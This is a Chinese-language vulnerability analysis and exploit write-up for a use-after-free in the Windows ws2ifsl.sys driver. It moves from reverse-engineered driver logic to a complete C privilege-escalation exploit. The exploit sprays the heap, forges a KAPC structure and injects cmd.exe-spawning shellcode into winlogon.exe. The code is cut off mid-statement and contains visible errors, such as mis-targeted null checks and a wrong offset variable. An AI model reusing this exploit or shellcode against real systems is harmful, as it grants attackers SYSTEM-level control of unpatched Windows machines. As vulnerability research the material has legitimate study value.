该漏洞源于ws2ifsl.sys驱动程序在处理内存对象时的缺陷,可能导致释放重引用错误。攻击者可以利用该错误,通过精心构造的输入,访问已释放的内存区域,从而执行恶意代码,提升权限。
本文测试环境:
◆虚拟机:Window10 19H1 x64 1709
◆物理机:Windows11 24H2 x64
一、补丁
二、漏洞分析
进入驱动的主函数DriverEntry中可以看到,驱动程序首先创建了一个名为\\Device\\WS2IFSL的设备供用户态访问:

驱动程序中实现了多个与用户态交互的函数,如下图所示:

而MajorFunction的下标,实际上对应了Windows内核中的宏定义,对应的字段如下:

IRP_MJ_CREATE与IRP_MJ_CLOSE分别对应了我们在用户态创建文件与关闭文件句柄的请求,需要注意的是对于IRP_MJ_CLOSE来说,只有当我们传入的文件句柄对应的那个内核文件的引用计数为0时,才会真正执行。
DispatchCreate函数
由于DispatchCreate对应我们创建文件的函数,而文件句柄这是我们与驱动交互的入口,因此我将从这里开始分析,该函数的实现如图所示:

可以看到,函数会根据SystemBuffer + 0x8的值来判断我们要创建的是ProcessFile还是SocketFile,根据微软文档的结构体定义,其中SystemBuffer实际上对应的是一片用户缓冲区。
在此之后,会将FileObject,mode,SystemBuffer作为参数传递给要执行的函数,而对于参数FileObject来说,当我们用户态获得一个句柄时,内核就会创建对应的FileObject,该结构体可以在Windbg中查看到,结构如下:
5:kd> dt nt!_FILE_OBJECT +0x000 Type :Int2B +0x002 Size :Int2B +0x008 DeviceObject :Ptr64 _DEVICE_OBJECT +0x010 Vpb :Ptr64 _VPB +0x018 FsContext :Ptr64 Void +0x020 FsContext2 :Ptr64 Void +0x028 SectionObjectPointer :Ptr64 _SECTION_OBJECT_POINTERS +0x030 PrivateCacheMap :Ptr64 Void +0x038 FinalStatus :Int4B +0x040 RelatedFileObject :Ptr64 _FILE_OBJECT +0x048 LockOperation :UChar +0x049 DeletePending :UChar +0x04a ReadAccess :UChar +0x04b WriteAccess :UChar +0x04c DeleteAccess :UChar +0x04d SharedRead :UChar +0x04e SharedWrite :UChar +0x04f SharedDelete :UChar +0x050 Flags :Uint4B +0x058 FileName :_UNICODE_STRING +0x068 CurrentByteOffset :_LARGE_INTEGER +0x070 Waiters :Uint4B +0x074 Busy :Uint4B +0x078 LastLock :Ptr64 Void +0x080 Lock :_KEVENT +0x098 Event :_KEVENT +0x0b0 CompletionContext :Ptr64 _IO_COMPLETION_CONTEXT +0x0b8 IrpListLock :Uint8B +0x0c0 IrpList :_LIST_ENTRY +0x0d0 FileObjectExtension :Ptr64 Void
其中DeviceObject对应的就是驱动创建的那个设备,也就是\\Device\\WS2IFSL,而FsContext则对应了驱动程序自定义的数据,接下来首先分析CreateProcessFile函数中,主要部分如下:

函数首先根据我们传入的Handle的值,通过ObReferenceObjectByHandle获取到句柄对应的对象,该函数的原型为:
NTSTATUS ObReferenceObjectByHandle( [in] HANDLE Handle, [in] ACCESS_MASK DesiredAccess, [in, optional] POBJECT_TYPE ObjectType, [in] KPROCESSOR_MODE AccessMode, [out] PVOID *Object, [out, optional] POBJECT_HANDLE_INFORMATION HandleInformation );
而在此处,由于传入的ObjectType参数为PsThreadType,表示我们期望获取的对象为一个线程对象,当获取成功后会进行判断线程对象是否属于当前进程,如果是的话,则通过ExAllocatePoolWithQuotaTag函数分配一个大小为0x108的内存池,而其中第一个参数为POOL_TYPE,这是一个枚举类型,根据查阅微软的文档,可以知道实际上函数中的512对应的是NonPagedPoolNx,也就是非分页池,其中的Nx代表了权限位为不可执行。
当内存申请成功后,会进行一系列的赋值操作,并且进入InitializeRequestQueue,由于赋的值是用户不可控制的,因此对于大部分值我们不用太过关心,只需要关注在buffer + 0x0处存储了字符串corP,buffer + 0x8存储了当前进程的PID,并且在InitializeRequestQueue的如图所示的位置:

我们可以看到驱动程序将APC对象挂在了buffer->ApcObject的位置,该结构体实际上是我自己恢复的,对应的偏移实际上为buffer+0x30处,而第二个参数则是指明了要把APC挂在哪个线程上,这里的pthread_Object实际就是根据我们前面传入的句柄所获取到的,是用户可控的。
当赋值操作完成后,会将buffer挂在fileObject + 0x18的位置,根据前面给出的结构体定义,我们可以知道该偏移对应的是FsContext。
而对于CreateSocketFile函数,大致与CreateProcessFile的前置逻辑相同,函数如下:

可以看到区别主要存在于赋值不同与ObReferenceObjectByHandle的不同,先看ObReferenceObjectByHandle,根据前面我们给出的函数原型可以知道,此时的ObjectType变为了IoFileObjectType,这代表文件对象类型,如用户空间打开的文件/设备句柄,那应该传入哪个文件或设备的句柄呢?
我们继续看下面的一段逻辑,首先将Object[0]给了v10,并通过IoGetRelatedDeviceObject来获取与Object[0]相关的是设备,其中DeviceObject这个全局变量对应的实际上就是驱动程序所注册的设备:\\Device\\WS2IFSL,然后取值判断,这里取得值有一点绕,我们拆开来看。
◆首先v10对应的是Object[0],这是一个指针数组,因此*v10指向了某个对象
◆对于**(v10 + 3)运算来说,这里看伪代码感觉有点不明白这个解引用的顺序,实际上看汇编很容易理解,这里v10对应的是RSI寄存器,而定位到对应的汇编可以看见,实际上进行的操作为mov rax, [rsi+18h],而这个操作实际上就是取出v10指向的对象,取出偏移为0x18的位置的指针,再取出该指针偏移为0x8处的内容
◆对于*(*(v10 + 3) + 8LL)来说,实际上就是取出v10指向的对象,取出偏移为0x18的位置的指针,再取出该指针偏移为0x8处的内容
而根据条件判断的内容,驱动期望该指针偏移0处的内容为corP,期望该指针偏移8处的内容为PID,再根据前面CreateProcessFile函数对于赋值的处理,我们可以知道对于ProcessFile的fileObject,偏移0x18实际上对应了FsContext,而*(Fscontext)与*(Fscontext + 0x8)正好对应了字符串corP与进程的PID,因此我们可以知道,要传入的句柄实际上就是ProcessFile对应的句柄。
对于后面的赋值同样不用太过关注,只需要知道buffer + 0x0对于了字符串kcoS,而buffer + 0x10处存放了指向ProcessFile的fileObject的指针。
DispatchReadWrite函数
根据MajorFunction数组的下标的宏定义可以知道,该函数对于了两种请求,分别为IRP_MJ_READ与IRP_MJ_WRITE,也就是对应了读写请求,该函数如下:

从图中我们可以看出,实际上读写请求只对应了SocketFile,而进入函数DoSocketReadWrite之后,我们可以看到:

函数首先将fileObject + 0x18处的值取出,这个偏移不论是对于SocketFile还是ProcessFile来说都是FsContext,而接下来,函数将FsContext作为参数传入了GetSocketProcessReference,该函数如下:

先是与锁相关的操作,而后将FsContext->Processfile_ptr引用计数加1,然后返回了FsContext->Processfile_ptr,而根据前面的分析,我们可以知道这里FsContext->Processfile_ptr指向的是ProcessFile的fileObject,而需要注意的是,在这里引用计数+1的操作也只针对了ProcessFile的fileObject,而并未针对FsContext指向的缓冲区。
接下来在返回了fileObject后,将其作为参数传入了QueueRequest函数:

这里由于我结构体恢复的某些字段可能不太对,导致看着很奇怪,实际上我分析了一下,这里似乎是在将某个节点挂入链表的尾部。
而后执行了SignalRequest:

该函数最重要的一点就是调用了KeInsertQueueApc函数,将APC挂入了我们传入的线程对应的内核线程的APC列表中,并等待执行。
这里要注意的是,一旦APC被挂入了列表,那么即使我们关闭了句柄,也可以通过NtTestAlert等函数来强制执行。
DispatchClose函数
该函数对应的请求是IRP_MJ_CLOSE请求,也就是对应的我们在用户态关闭句柄的操作,但此操作真正的执行时机是当我们传入的句柄的引用计数为0时,该函数如下:

我们可以看见,该函数会根据*(FsContext)的值来选择关闭哪个句柄,我们关注值为corP的情况,假设我们在用户态分别打开了ProcessFile与SocketFile,并用SocketFile进行读写,当我们关闭ProcessFile时,并不会触发DispatchClose,因为根据我们之前的分析,在SocketFile的读写操作中会增加ProcessFile的引用计数(在创建时也会增加引用计数),那么读写完毕后,引用计数减1,由于创建时也增加了引用计数,因此此时引用计数为1,而后我们关闭SocketFile,此时引用计数为0,因此ProcessFile与FsContext被释放,而此时APC已经被挂在了线程的APC队列中,造成了UAF。
至此,漏洞的成因已经基本分析完毕,我们总结一下,个人认为该漏洞的根本原因在于两点:
◆缺乏细粒度的引用计数,因为只对fileObject进行了引用计数,但其中的FsContext并没有计算引用计数,只是跟着fileObject一起进行了释放
◆APC队列中的函数是可以不依赖于句柄调用的,因此在缓冲区释放以后还可以使用
接下来就是分析该如何进行漏洞利用了。
三、漏洞利用
首先我们思考一下我们可以控制哪些东西,如何进行交互。
对于该漏洞而言,我们可以控制ProcessFile对应的线程对象,也就是说可以控制将APC绑定到哪个线程对象上,而SocketFile实际则是依赖于我们创建的ProcessFile对象。
因此一个基本的交互思路是,我们创建一个ProcessFile与SocketFile,并获取到对应的句柄,但这里需要注意一个关键点,在驱动程序注册设备时,仅仅使用了以下代码:

对于IoCreateDevice来说,DeviceObject是内核态的设备对象(DEVICE_OBJECT),存在于内核空间,内核里这个对象表示该驱动,但它本身并没有用户态可访问的名字。因此正常的CreateFile是无法获得到句柄的,而根据bluefrostlab的文章,我们可以用NtCreateFile来获取句柄。
那么此时,我们需要思考如何组织我们要传入的数据(也就是线程的句柄)。
为了传入某个线程句柄,我们首先需要创建一个线程:
DWORD WINAPI APCThread_1(LPVOID lparam){ SetEvent(sync_for_thread1); while(1){ if(signal_for_trigger1 == 1){ printf("[+] thread1 triggering vul...\n"); NtTestAlert(); while(1){ sleep(0x1000); } } else{ Sleep(1); } } return 0; }
然后调用Windows的CreateThread进行创建:
HANDLEhAPCThread1 = CreateThread(0, 0, APCThread_1, 0, 0, 0);
然后,我们需要创建一个ProcessFile,要传入的参数为hAPCThread1,并且由于我们期望其返回的是一个ProcessFile的句柄,因此定义如下函数:
HANDLE CreateProcessFileHandle(HANDLE hThread);
根据NtCreateFile的函数定义:

我们首先使用如下方法生成一个ObjectAttributes:
HANDLE fileHandle =0; UNICODE_STRING device_name; OBJECT_ATTRIBUTESObjectAttributes_t; IO_STATUS_BLOCKIoStatusBlock_t; RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd"); InitializeObjectAttributes(&ObjectAttributes_t, &device_name, 0, NULL, NULL);
而我们的数据都是存放在倒数第二个参数,也就是EaBuffer中的,而EA属性的结构体,在Windows的官方文档中同样能找到记载:
typedef struct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; UCHAR Flags; UCHAR EaNameLength; USHORT EaValueLength; CHAR EaName[1]; } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
因此我们按照此定义,在我们的代码中定义一个相同的结构体,注意,由于我们是用户态,因此不能直接include对应头文件,所以需要自己定义:

而根据CreateProcessFile与DispatchCreate访问偏移,我们不难得出以下结构:
SystemBuffer + 0x8 --> name SystemBuffer + 0x10 --> handle SystemBuffer + 0x18 --> APCRoutine SystemBuffer + 0x20 --> CancelRoutine
而观察_FILE_FULL_EA_INFORMATION,不难想到在+0x8的位置正好是name,因此我们可以写出以下代码:
FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData)); eaBuffer->NextEntryOffset = 0; eaBuffer->Flags = 0; eaBuffer->EaNameLength = sizeof("NifsPvd") - 1; eaBuffer->EaValueLength = sizeof(ProcessData); RtlCopyMemory(eaBuffer->EaName, "NifsPvd", eaBuffer->EaValueLength + 1); ProcessData* eaData = (ProcessData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4); eaData->handle = (void*) hThread; eaData->unknown1 = (void*) 0x2222222; eaData->unknown2 = (void*) 0x3333333; eaData->unknown3 = (void*) 0x4444444; eaData->unknown4 = (void*) 0x5555555;
最后,我们只需要使用:
NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData)); if (status != STATUS_SUCCESS){ printf("[-] NtCreateFile error: %x \n", status); free(eaBuffer); return fileHandle; }
即可创建出句柄。
对于SocketFile也是同理,根据偏移的关系,可以推测出:
SystemBuffer + 0x8 --> name SystemBuffer + 0x10 --> unknown SystemBuffer + 0x18 --> ProcessFileHandle
因此可以仿造前面的CreateProcessFileHandle写出如下代码:
HANDLE CreateSocketFileHandle(HANDLE hProc){ HANDLE fileHandle = 0; UNICODE_STRING device_name; OBJECT_ATTRIBUTES ObjectAttributes_t; IO_STATUS_BLOCK IoStatusBlock_t; RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsSct"); InitializeObjectAttributes(&ObjectAttributes_t, &device_name, 0, NULL, NULL); FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData)); eaBuffer->NextEntryOffset = 0; eaBuffer->Flags = 0; eaBuffer->EaNameLength = sizeof("NifsSct") - 1; eaBuffer->EaValueLength = sizeof(SocketData); RtlCopyMemory(eaBuffer->EaName, "NifsSct", eaBuffer->EaValueLength + 1); SocketData* eaData = (SocketData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4); eaData->unknown = 0x66666666; eaData->handle = hProc; NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData)); if (status != STATUS_SUCCESS){ printf("[-] NtCreateFile error: %x \n", status); free(eaBuffer); return fileHandle; } free(eaBuffer); return fileHandle; }
运行后,发现能成功触发断点:

接下来我们思考如何利用漏洞,根据前面的分析,要完成提权需要五步:
◆首先释放ProcessHandle,此时由于SocketHandle的存在,引用计数为1
◆接下来使用SocketHandle进行一次读写操作,目的是为了使APC成功挂入线程的APC列表中,此时的引用计数为2
◆由于读写操作完成后,引用计数会-1,因此此时释放SocketHandle,引用计数变为0,触发DispatchClose,造成ProcessData被释放,而APC仍在队列未被调用
◆通过CreatePipe进行堆喷,获取到已经释放的内存,伪造KAPC结构体
◆调用NtTestAlert()强制触发APC调用
代码实现如下:
char* readBuffer = (char*)malloc(0x100); DWORDbytesRead =0; IO_STATUS_BLOCK io; LARGE_INTEGER byteOffset; byteOffset.HighPart = 0; byteOffset.LowPart = 0; byteOffset.QuadPart = 0; byteOffset.u.LowPart = 0; byteOffset.u.HighPart = 0; ULONGkey =0; CloseHandle(procHandle); NTSTATUSret = NtWriteFile(sockHandle, 0, 0, 0, &io, readBuffer, 0x100, &byteOffset, &key); CloseHandle(sockHandle);
测试代码可以看见,当关闭句柄时,SocketHandle触发了DispatchClose操作:

我们观察一下当APC初始化完成后的内存布局:

当我们调用NtTestAlert时,实际上会触发到+0x20处的KernelRoutine,这是一个重要的偏移,我们可以思考劫持该函数指针。
根据Alex Ionescu的文章,我们可以使用Named Pipe去堆喷,从而获取到被我们释放的堆块,然后根据偏移伪造一个KAPC结构体,从而实现控制流劫持。
我们先触发一次NtTestAlert,观察此时寄存器的情况:

可以发现此时第一个参数,也就是rcx指向了我们buffer + 0x30的位置,此位置存放的是KAPC结构,而rdx则指向了0xffffffffffffffff,这里我不知道具体指向的是哪个,但只要是0xffffffffffff就行了,因此可以通过伪造结构来实现提权。
此时,我们可以通过Named Pipe进行堆喷,伪造一个布局,申请到释放的内存后,内存中应该如下:
*(DWORD64*)(payload + 0x0) = 0x41414141414141; *(DWORD64*)(payload + 0x8) = 0x12121212; *(DWORD64*)(payload + 0x10) = Linked_List_Entry; *(DWORD64*)(payload + 0x18) = Linked_List_Entry; *(DWORD64*)(payload + 0x20) = SeSetAccessStateGenericMapping_addr; *(DWORD64*)(payload + 0x28) = 0xffffffffffffffff; *(DWORD64*)(payload + 0x30) = 0xffffffffffffffff; *(DWORD64*)(payload + 0x38) = 0xffffffffffffffff; *(DWORD64*)(payload + 0x40) = 0x4040404040404040; *(DWORD64*)(payload + 0x48) = TokenObj;
基于上述布局,通过触发线程APC强制执行,就可以劫持控制流到SeSetAccessStateGenericMapping,最后成功提权:

最终EXP如下:
#include <Windows.h> #include <stdio.h> #include <string.h> #include <ntstatus.h> #include <processthreadsapi.h> #include <winternl.h> #include <tlhelp32.h> #include<Psapi.h> #include<profileapi.h> #pragma comment(lib, "ntdll.lib") unsignedchar shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \ "\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \ "\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \ "\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \ "\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \ "\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \ "\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \ "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \ "\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \ "\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \ "\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \ "\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \ "\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \ "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \ "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \ "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \ "\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \ "\x78\x65\x00"; #define ERR_LENGTH_MISMATCH 0xc0001 #define ERR_DONT_FIND_TARGET 0xc0002 #define TOKEN_TYPE 0x5 #define PRIV_OFFSET 0x40 // typedef NTSTATUS(NTAPI* NtQuerySystemInformation_t)( // IN SYSTEM_INFORMATION_CLASS SystemInformationClass, // OUT PVOID SystemInformation, // IN ULONG SystemInformationLength, // OUT PULONG ReturnLength OPTIONAL // ); // NtQuerySystemInformation_t NtQuerySystemInformation_p = NULL; HANDLE sync_for_thread1 = 0; HANDLE sync_for_thread2 = 0; HANDLE signal_for_LPE = 0; int signal_for_trigger1 = 0; int signal_for_trigger2 = 0; typedef NTSTATUS(WINAPI* NtWriteFile_t)(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG key); typedef NTSTATUS(WINAPI* NtTestAlert_t)(void); NtTestAlert_t NtTestAlert = NULL; NtWriteFile_t NtWriteFile = NULL; typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORT Handle; void* Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, * PSYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE Handels[1]; } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; typedef struct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; // 0-3 UCHAR Flags; // 4 UCHAR EaNameLength; // 5 USHORT EaValueLength; // 6-7 CHAR EaName[1]; // 8 } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; typedef struct PorcessData{ HANDLE handle; void* unknown1; void* unknown2; void* unknown3; void* unknown4; }ProcessData; typedef struct SocketData{ void* unknown; HANDLE handle; }SocketData; DWORD WINAPI APCThread_1(LPVOID lparam){ SetEvent(sync_for_thread1); while(1){ if(signal_for_trigger1 == 1){ printf("[+] thread1 triggering vul...\n"); NtTestAlert(); while(1){ Sleep(0x1000); } } else{ Sleep(1); } } return 0; } voidInjectCode(){ PROCESSENTRY32W entry; entry.dwSize = sizeof(PROCESSENTRY32W); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (snapshot == INVALID_HANDLE_VALUE){ printf("[-] CreateToolhelp32Snapshot failed: %x\n", GetLastError()); return; } int pid = -1; if (Process32FirstW(snapshot, &entry)) { do{ wprintf(L"[DEBUG] Process: %s, PID: %d\n", entry.szExeFile, entry.th32ProcessID); if (_wcsicmp(entry.szExeFile, L"winlogon.exe") == 0) { printf("Found pid[%d]\n", entry.th32ProcessID); pid = entry.th32ProcessID; break; } } while (Process32NextW(snapshot, &entry)); } else{ printf("[-] Process32FirstW failed: %x\n", GetLastError()); } CloseHandle(snapshot); if (pid < 0){ printf("[-] Could not find process\n"); return; } HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (!h){ printf("[-] Could not open process: %x\n", GetLastError()); return; } printf("Allocating Shellcode Space...\n"); void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!buffer){ printf("[-] VirtualAllocEx failed: %x\n", GetLastError()); CloseHandle(h); return; } if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), NULL)){ printf("[-] WriteProcessMemory failed: %x\n", GetLastError()); VirtualFreeEx(h, buffer, 0, MEM_RELEASE); CloseHandle(h); return; } HANDLE hthread = CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL); if (hthread == INVALID_HANDLE_VALUE){ printf("[-] CreateRemoteThread failed: %x\n", GetLastError()); VirtualFreeEx(h, buffer, 0, MEM_RELEASE); CloseHandle(h); return; } printf("[+] Shellcode injected, thread created: %p\n", hthread); } // static VOID CreateCmd() // { // STARTUPINFO si = { sizeof(si) }; // PROCESS_INFORMATION pi = { 0 }; // si.dwFlags = STARTF_USESHOWWINDOW; // si.wShowWindow = SW_SHOW; // WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; // BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); // if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess); // } DWORD WINAPI APCThread_2(LPVOID lparam){ SetEvent(sync_for_thread2); while(1){ if(signal_for_trigger2 == 1){ printf("[+] thread2 triggering vul...\n"); NtTestAlert(); InjectCode(); SetEvent(signal_for_LPE); while(1){ Sleep(0x1000); } } else{ Sleep(1); } } return 0; } DWORD64 GetKernelPointer(HANDLE handle, DWORD type) { PSYSTEM_HANDLE_INFORMATION handle_information = (PSYSTEM_HANDLE_INFORMATION)(malloc(0x20)); DWORD returnBytes = 0; NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0x10, handle_information, 0x20, &returnBytes); if (status == STATUS_INFO_LENGTH_MISMATCH) { printf("[-] Length Mismatch in GetKernelPointer\n"); printf("[+] Taking Second Chance\n"); free(handle_information); handle_information = (PSYSTEM_HANDLE_INFORMATION)(malloc(returnBytes)); status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0x10, handle_information, returnBytes, &returnBytes); if (status == STATUS_INFO_LENGTH_MISMATCH) { printf("[-] Failed Two Times\n"); return ERR_LENGTH_MISMATCH; } } for (int i = 0; i < handle_information->NumberOfHandles; i++) { if (handle_information->Handels[i].ProcessId == GetCurrentProcessId() && handle_information->Handels[i].ObjectTypeNumber == type) { if (handle == (HANDLE)handle_information->Handels[i].Handle) { DWORD64 TargetObject = (DWORD64)handle_information->Handels[i].Object; printf("[+] Target found: pid[%d], Type[%d], Handle[%d], Object[%p]\n", handle_information->Handels[i].ProcessId, type, handle, TargetObject); free(handle_information); return TargetObject; } } } return ERR_DONT_FIND_TARGET; } HANDLE CreateSocketFileHandle(HANDLE hProc){ HANDLE fileHandle = 0; UNICODE_STRING device_name; OBJECT_ATTRIBUTES ObjectAttributes_t; IO_STATUS_BLOCK IoStatusBlock_t; RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsSct"); InitializeObjectAttributes(&ObjectAttributes_t, &device_name, 0, NULL, NULL); FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData)); eaBuffer->NextEntryOffset = 0; eaBuffer->Flags = 0; eaBuffer->EaNameLength = sizeof("NifsSct") - 1; eaBuffer->EaValueLength = sizeof(SocketData); RtlCopyMemory(eaBuffer->EaName, "NifsSct", eaBuffer->EaValueLength + 1); SocketData* eaData = (SocketData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4); eaData->unknown = 0x66666666; eaData->handle = hProc; NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData)); if (status != STATUS_SUCCESS){ printf("[-] NtCreateFile error: %x \n", status); free(eaBuffer); return fileHandle; } free(eaBuffer); return fileHandle; } HANDLE CreateProcessFileHandle(HANDLE hThread){ HANDLE fileHandle = 0; UNICODE_STRING device_name; OBJECT_ATTRIBUTES ObjectAttributes_t; IO_STATUS_BLOCK IoStatusBlock_t; RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd"); InitializeObjectAttributes(&ObjectAttributes_t, &device_name, 0, NULL, NULL); FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData)); eaBuffer->NextEntryOffset = 0; eaBuffer->Flags = 0; eaBuffer->EaNameLength = sizeof("NifsPvd") - 1; eaBuffer->EaValueLength = sizeof(ProcessData); RtlCopyMemory(eaBuffer->EaName, "NifsPvd", eaBuffer->EaValueLength + 1); ProcessData* eaData = (ProcessData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4); eaData->handle = (void*) hThread; eaData->unknown1 = (void*) 0x2222222; eaData->unknown2 = (void*) 0x3333333; eaData->unknown3 = (void*) 0x4444444; eaData->unknown4 = (void*) 0x5555555; NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData)); if (status != STATUS_SUCCESS){ printf("[-] NtCreateFile error: %x \n", status); free(eaBuffer); return fileHandle; } free(eaBuffer); return fileHandle; } DWORD64 LeakKernelBase(){ LPVOID lpImageBase[1024]; DWORD lpcbNeeded; TCHAR lpfileName[1024]; EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded); for(int i = 0; i < 1024; i++){ GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48); if(!(strcmp(lpfileName, "ntoskrnl.exe"))){ printf("[+] Found Kernel Base: %p\n", lpImageBase[i]); return lpImageBase[i]; } } return NULL; } intHeapSpray(DWORD64 thread_addr, DWORD64 TokenObj){ DWORD64 KernelBase = LeakKernelBase(); if(KernelBase == NULL){ return 0; } HMODULE UserBase = LoadLibraryExA("C:\\Windows\\System32\\ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES); if(KernelBase == NULL){ printf("[-] Failed to Load ntoskrnl.exe\n"); return 0; } LPVOID UserFuncAddr = GetProcAddress(UserBase, "SeSetAccessStateGenericMapping"); if(KernelBase == NULL){ printf("[-] Failed to Get Process Address\n"); return 0; } printf("[+] UserBase [%p], UserFuncAddr [%p]\n", UserBase, UserFuncAddr); FreeLibrary(UserBase); DWORD64 offset = (DWORD64)UserFuncAddr - (DWORD64)UserBase; DWORD64 SeSetAccessStateGenericMapping_addr = KernelBase + offset; printf("[+] Successfully Found SeSetAccessStateGenericMapping Addr[%p]\n", SeSetAccessStateGenericMapping_addr); HMODULE UserBase2 = LoadLibraryExA("C:\\Windows\\System32\\ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES); if(KernelBase == NULL){ printf("[-] Failed to Load ntoskrnl.exe2\n"); return 0; } LPVOID UserFuncAddr2 = GetProcAddress(UserBase2, "xHalTimerWatchdogStop"); if(KernelBase == NULL){ printf("[-] Failed to Get Process Address2\n"); return 0; } printf("[+] UserBase2 [%p], UserFuncAddr2 [%p]\n", UserBase2, UserFuncAddr2); FreeLibrary(UserBase2); DWORD64 offset2 = (DWORD64)UserFuncAddr2 - (DWORD64)UserBase2; DWORD64 xHalTimerWatchdogStop_addr = KernelBase + offset; printf("[+] Successfully Found xHalTimerWatchdogStop Addr[%p]\n", xHalTimerWatchdogStop_addr); DWORD64 Linked_List_Entry = 